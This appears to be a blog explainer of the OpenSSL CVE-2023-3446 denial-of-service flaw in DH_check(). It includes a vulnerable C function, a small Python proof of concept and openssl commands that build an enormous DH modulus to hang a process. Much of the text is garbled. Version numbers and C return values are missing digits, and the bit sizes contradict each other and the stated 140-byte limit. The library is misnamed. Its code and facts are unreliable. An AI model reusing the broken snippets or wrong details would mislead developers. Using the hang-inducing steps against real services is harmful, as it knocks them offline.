Issue Summary:
OpenSSL's Diffie-Hellman (DH) key checks can be extremely slow if you give it a very large "key" or "parameter" from an untrusted source. This happens if your app uses DH_check(), DH_check_ex(), or EVP_PKEY_param_check(). If a hacker feeds you a huge DH modulus (big number), your app could be stuck checking it for a long time—potentially locking up, and causing Denial of Service (DoS).
What is CVE-2023-3446?
CVE-2023-3446 is a vulnerability discovered in OpenSSL (versions before 3..9, 3.1.1) where DH parameter checks are not time-limited, and poorly-handled super-long values can hang a process.
This is NOT a remote-code execution.
It's DoS through resource exhaustion.
EVP_PKEY_param_check()
*If your code does DH key checking using values given by a client or external user, you are vulnerable.*
How Does It Happen?
The DH_check() function in OpenSSL does a set of safety/protocol checks, including if the prime (p) is "too big." If you give it a crazy-big p value, OpenSSL should say "nope" quick, but some checks (not just the length check) use the big number anyway—even if it's already too big.
If you let a random user upload "DH params" or keys (e.g., in a handshake, or when you validate a third-party key file) and you funnel them straight to these functions, an attacker could send you a key with a 1,000,000-bit prime—stalling your app for seconds or even hours.
Impact & Attack Surface
- Applications: Anything doing DH parameter/key checks with potentially untrusted data.
openssl pkeyparam -check ...
- Web servers, APIs: Not likely unless you manually check DH params from user uploads/forms.
- SSL/TLS: *Not affected!* OpenSSL’s built-in TLS handshake code validates or limits DH key sizes *earlier*.
Real World Example
Let’s say you run a script/server that allows clients to upload their own DH params (or keys). You want to check for safety, so you use:
#include <openssl/dh.h>
int safe_dh_params(unsigned char *p, size_t p_len, unsigned char *g, size_t g_len) {
DH *dh = DH_new();
if (!dh) return ;
BIGNUM *bn_p = BN_bin2bn(p, p_len, NULL);
BIGNUM *bn_g = BN_bin2bn(g, g_len, NULL);
DH_set_pqg(dh, bn_p, NULL, bn_g);
int codes = ;
DH_check(dh, &codes); // <-- VULNERABLE: This may take forever if p is huge!
DH_free(dh);
return codes == ;
}
If an attacker gives you a 200,000-bit number for p, your server might spend *minutes or hours* here, hanging the process (blocking the thread and any/request-response), leading to Denial of Service.
## Proof of Concept (PoC)/Exploit
Here’s a simple Python script using pyOpenSSL to demonstrate sending an excessively large DH modulus for checking:
from cryptography.hazmat.primitives.asymmetric import dh
# Generate a massive (fake) 'p', in practice this should be random or all 1s
big_prime = int('F' * 10000, 16)
parameters = dh.DHParameterNumbers(p=big_prime, g=2)
try:
parameters.parameters()
except Exception as e:
print("Exception (expected):", e)
Or on the command line (with OpenSSL installed)
# Generate a ridiculous 'p' size (1,000,000 bits)
openssl genpkey -genparam -algorithm DH -pkeyopt dh_paramgen_prime_len:100000 > huge_params.pem
# Now check it (WILL HANG! Don't do this on production!):
openssl dhparam -in huge_params.pem -check
*The dhparam -check will hang or use huge CPU for a long time, demonstrating the DoS.*
The application hangs as OpenSSL chokes on the large computation and eats up CPU
- If concurrent (multi-thread), enough requests can saturate all available CPUs/threads
FIPS Providers for OpenSSL: Not affected
Reference:
- Official OpenSSL Advisory
- NIST NVD: CVE-2023-3446
Quick Fix (Code):
*Don’t accept/randomly check untrusted, massive DH parameters. Limit input size!*
`c
if (p_len > 140) { // e.g., 11,000 bits max
// reject long params!
}
// then call DH_check()
App-level Filter:
Before giving parameters to DH_check() or similar, always cap the size (bits/bytes) you’re willing to handle.
Conclusion – Key Takeaways
- Only call DH_check(), DH_check_ex(), or EVP_PKEY_param_check() with trusted or pre-limited size DH values.
- Don’t check huge input, even for “safety”. A malformed, big-enough input is a DoS attacker’s best friend!
Patched OpenSSL *skips* the slow checks if modulus is too large.
Stay secure! Always validate untrusted cryptographic material with known-safe tools and up-to-date libraries.
*Original references:*
- OpenSSL Security Advisory: 20230801
- NVD Entry: CVE-2023-3446
- OpenSSL Source Code – DH_check()
Timeline
Published on: 07/19/2023 12:15:10 UTC
Last modified on: 10/03/2023 15:48:00 UTC